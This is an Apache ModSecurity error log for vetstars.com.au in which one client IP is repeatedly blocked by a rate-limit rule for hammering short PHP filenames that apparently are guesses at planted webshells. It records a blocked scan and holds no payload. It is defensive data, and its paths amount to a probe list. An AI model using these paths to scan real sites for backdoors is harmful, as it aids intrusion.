[Sat May 23 15:35:12.337520 2026] [:error] [pid 30941:tid 30985] [client 132.196.65.22:7636] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ahFYsHTIgjSDhiZmvlWQUQAAAEk"]
[Sat May 23 15:35:12.783179 2026] [:error] [pid 30940:tid 30970] [client 132.196.65.22:7931] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ahFYsJqUP2XZmzp7RDrhtQAAABU"]
[Sat May 23 15:35:13.161101 2026] [:error] [pid 30941:tid 30993] [client 132.196.65.22:7992] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ahFYsXTIgjSDhiZmvlWQUwAAAFE"]
[Sat May 23 15:35:13.535481 2026] [:error] [pid 30940:tid 30949] [client 132.196.65.22:7742] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ahFYsZqUP2XZmzp7RDrhuQAAAAA"]
[Sat May 23 15:35:13.950863 2026] [:error] [pid 30940:tid 30953] [client 132.196.65.22:7928] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ahFYsZqUP2XZmzp7RDrhugAAAAQ"]
[Sat May 23 15:35:14.325024 2026] [:error] [pid 30941:tid 30988] [client 132.196.65.22:7700] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ahFYsnTIgjSDhiZmvlWQVQAAAEw"]
[Sat May 23 15:35:14.712778 2026] [:error] [pid 25876:tid 25899] [client 132.196.65.22:7638] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "ahFYsgSpWUCKPezIBJBkbwAAARU"]
[Sat May 23 15:35:15.105638 2026] [:error] [pid 30942:tid 31027] [client 132.196.65.22:7925] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "ahFYs9Uosz64YFiBlG1CiwAAAJg"]
[Sat May 23 15:35:15.500904 2026] [:error] [pid 30942:tid 31018] [client 132.196.65.22:7876] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "ahFYs9Uosz64YFiBlG1CjAAAAI8"]
[Sat May 23 15:35:15.901854 2026] [:error] [pid 30941:tid 30987] [client 132.196.65.22:7620] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "ahFYs3TIgjSDhiZmvlWQWQAAAEs"]
[Sat May 23 15:35:16.291474 2026] [:error] [pid 30941:tid 30994] [client 132.196.65.22:7633] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "ahFYtHTIgjSDhiZmvlWQWwAAAFI"]
[Sat May 23 15:35:16.748108 2026] [:error] [pid 30941:tid 30983] [client 132.196.65.22:7735] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "ahFYtHTIgjSDhiZmvlWQXAAAAEc"]
[Sat May 23 15:35:17.126754 2026] [:error] [pid 30941:tid 30992] [client 132.196.65.22:7910] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "ahFYtXTIgjSDhiZmvlWQXQAAAFA"]
[Sat May 23 15:35:17.501068 2026] [:error] [pid 30941:tid 30991] [client 132.196.65.22:7656] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "ahFYtXTIgjSDhiZmvlWQXgAAAE8"]
[Sat May 23 15:35:17.879511 2026] [:error] [pid 30941:tid 30984] [client 132.196.65.22:7699] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ahFYtXTIgjSDhiZmvlWQXwAAAEg"]
[Sat May 23 15:35:18.265942 2026] [:error] [pid 30942:tid 31004] [client 132.196.65.22:7645] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ahFYttUosz64YFiBlG1ClAAAAIE"]
[Sat May 23 15:35:18.652686 2026] [:error] [pid 30942:tid 31015] [client 132.196.65.22:7567] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ahFYttUosz64YFiBlG1ClwAAAIw"]
[Sat May 23 15:35:19.042617 2026] [:error] [pid 30942:tid 31005] [client 132.196.65.22:7987] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ahFYt9Uosz64YFiBlG1CmgAAAII"]
[Sat May 23 15:35:19.416211 2026] [:error] [pid 30942:tid 31008] [client 132.196.65.22:7669] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file6.php"] [unique_id "ahFYt9Uosz64YFiBlG1CnAAAAIU"]
[Sat May 23 15:35:19.817133 2026] [:error] [pid 30940:tid 30960] [client 132.196.65.22:7708] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file6.php"] [unique_id "ahFYt5qUP2XZmzp7RDrhvgAAAAs"]
[Sat May 23 15:35:20.197458 2026] [:error] [pid 25876:tid 25881] [client 132.196.65.22:7619] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file6.php"] [unique_id "ahFYuASpWUCKPezIBJBkcgAAAQM"]
[Sat May 23 15:35:20.612897 2026] [:error] [pid 25876:tid 25889] [client 132.196.65.22:7691] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file6.php"] [unique_id "ahFYuASpWUCKPezIBJBkcwAAAQs"]
[Sat May 23 15:35:21.001386 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7712] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "ahFYuQSpWUCKPezIBJBkdAAAAQA"]
[Sat May 23 15:35:21.391652 2026] [:error] [pid 30941:tid 30986] [client 132.196.65.22:7974] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "ahFYuXTIgjSDhiZmvlWQYQAAAEo"]
[Sat May 23 15:35:21.809427 2026] [:error] [pid 30940:tid 30958] [client 132.196.65.22:7651] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "ahFYuZqUP2XZmzp7RDrhwAAAAAk"]
[Sat May 23 15:35:22.215435 2026] [:error] [pid 31039:tid 31053] [client 132.196.65.22:7565] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "ahFYuqIYDYo8WvA5zLILFAAAAMw"]
[Sat May 23 15:35:22.623884 2026] [:error] [pid 31039:tid 31065] [client 132.196.65.22:7923] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ahFYuqIYDYo8WvA5zLILFQAAANg"]
[Sat May 23 15:35:23.018252 2026] [:error] [pid 31039:tid 31046] [client 132.196.65.22:7717] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ahFYu6IYDYo8WvA5zLILFgAAAMU"]
[Sat May 23 15:35:23.425766 2026] [:error] [pid 30940:tid 30969] [client 132.196.65.22:7641] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ahFYu5qUP2XZmzp7RDrhwQAAABQ"]
[Sat May 23 15:35:23.821802 2026] [:error] [pid 30940:tid 30967] [client 132.196.65.22:7552] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ahFYu5qUP2XZmzp7RDrhwgAAABI"]
[Sat May 23 15:35:24.211659 2026] [:error] [pid 25876:tid 25896] [client 132.196.65.22:7724] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/options.php"] [unique_id "ahFYvASpWUCKPezIBJBkfAAAARI"]
[Sat May 23 15:35:24.596485 2026] [:error] [pid 30942:tid 31014] [client 132.196.65.22:7738] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/options.php"] [unique_id "ahFYvNUosz64YFiBlG1CpwAAAIs"]
[Sat May 23 15:35:24.977704 2026] [:error] [pid 30942:tid 31025] [client 132.196.65.22:7627] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/options.php"] [unique_id "ahFYvNUosz64YFiBlG1CqAAAAJY"]
[Sat May 23 15:35:25.357481 2026] [:error] [pid 30941:tid 30989] [client 132.196.65.22:7560] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/options.php"] [unique_id "ahFYvXTIgjSDhiZmvlWQYwAAAE0"]
[Sat May 23 15:35:25.739451 2026] [:error] [pid 30942:tid 31004] [client 132.196.65.22:7647] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/min.php"] [unique_id "ahFYvdUosz64YFiBlG1CqgAAAIE"]
[Sat May 23 15:35:26.168711 2026] [:error] [pid 31039:tid 31050] [client 132.196.65.22:7915] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/min.php"] [unique_id "ahFYvqIYDYo8WvA5zLILGgAAAMk"]
[Sat May 23 15:35:26.561287 2026] [:error] [pid 30940:tid 30957] [client 132.196.65.22:7677] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/min.php"] [unique_id "ahFYvpqUP2XZmzp7RDrhxQAAAAg"]
[Sat May 23 15:35:26.966449 2026] [:error] [pid 30940:tid 30959] [client 132.196.65.22:7572] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/min.php"] [unique_id "ahFYvpqUP2XZmzp7RDrhxgAAAAo"]
[Sat May 23 15:35:27.382523 2026] [:error] [pid 30940:tid 30970] [client 132.196.65.22:7720] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ahFYv5qUP2XZmzp7RDrhyAAAABU"]
[Sat May 23 15:35:27.819410 2026] [:error] [pid 30940:tid 30971] [client 132.196.65.22:7933] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ahFYv5qUP2XZmzp7RDrhyQAAABY"]
[Sat May 23 15:35:28.351204 2026] [:error] [pid 30940:tid 30950] [client 132.196.65.22:7704] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ahFYwJqUP2XZmzp7RDrhygAAAAE"]
[Sat May 23 15:35:28.793965 2026] [:error] [pid 31039:tid 31056] [client 132.196.65.22:7629] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ahFYwKIYDYo8WvA5zLILHQAAAM8"]
[Sat May 23 15:35:29.171951 2026] [:error] [pid 30942:tid 31019] [client 132.196.65.22:7715] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "ahFYwdUosz64YFiBlG1CtAAAAJA"]
[Sat May 23 15:35:29.576849 2026] [:error] [pid 31039:tid 31063] [client 132.196.65.22:7739] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "ahFYwaIYDYo8WvA5zLILIAAAANY"]
[Sat May 23 15:35:29.993992 2026] [:error] [pid 30940:tid 30953] [client 132.196.65.22:7729] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "ahFYwZqUP2XZmzp7RDrhzgAAAAQ"]
[Sat May 23 15:35:30.509156 2026] [:error] [pid 31039:tid 31065] [client 132.196.65.22:7564] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "ahFYwqIYDYo8WvA5zLILIwAAANg"]
[Sat May 23 15:35:30.946147 2026] [:error] [pid 31039:tid 31054] [client 132.196.65.22:7737] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "ahFYwqIYDYo8WvA5zLILJgAAAM0"]
[Sat May 23 15:35:31.413767 2026] [:error] [pid 30942:tid 31018] [client 132.196.65.22:7688] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "ahFYw9Uosz64YFiBlG1CtQAAAI8"]
[Sat May 23 15:35:31.846169 2026] [:error] [pid 30942:tid 31025] [client 132.196.65.22:7557] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "ahFYw9Uosz64YFiBlG1CtgAAAJY"]
[Sat May 23 15:35:32.279060 2026] [:error] [pid 30942:tid 31004] [client 132.196.65.22:7597] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "ahFYxNUosz64YFiBlG1CtwAAAIE"]
[Sat May 23 15:35:32.717583 2026] [:error] [pid 30942:tid 31023] [client 132.196.65.22:7736] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxa.php"] [unique_id "ahFYxNUosz64YFiBlG1CuQAAAJQ"]
[Sat May 23 15:35:33.107722 2026] [:error] [pid 25876:tid 25893] [client 132.196.65.22:7612] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxa.php"] [unique_id "ahFYxQSpWUCKPezIBJBkggAAAQ8"]
[Sat May 23 15:35:33.750210 2026] [:error] [pid 25876:tid 25902] [client 132.196.65.22:7658] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxa.php"] [unique_id "ahFYxQSpWUCKPezIBJBkhQAAARg"]
[Sat May 23 15:35:34.160044 2026] [:error] [pid 25876:tid 25889] [client 132.196.65.22:7944] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxa.php"] [unique_id "ahFYxgSpWUCKPezIBJBkhgAAAQs"]
[Sat May 23 15:35:34.619424 2026] [:error] [pid 25876:tid 25880] [client 132.196.65.22:7920] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ahFYxgSpWUCKPezIBJBkiQAAAQI"]
[Sat May 23 15:35:35.131654 2026] [:error] [pid 25876:tid 25897] [client 132.196.65.22:7637] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ahFYxwSpWUCKPezIBJBkjAAAARM"]
[Sat May 23 15:35:35.541268 2026] [:error] [pid 31039:tid 31043] [client 132.196.65.22:7722] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ahFYx6IYDYo8WvA5zLILLQAAAMI"]
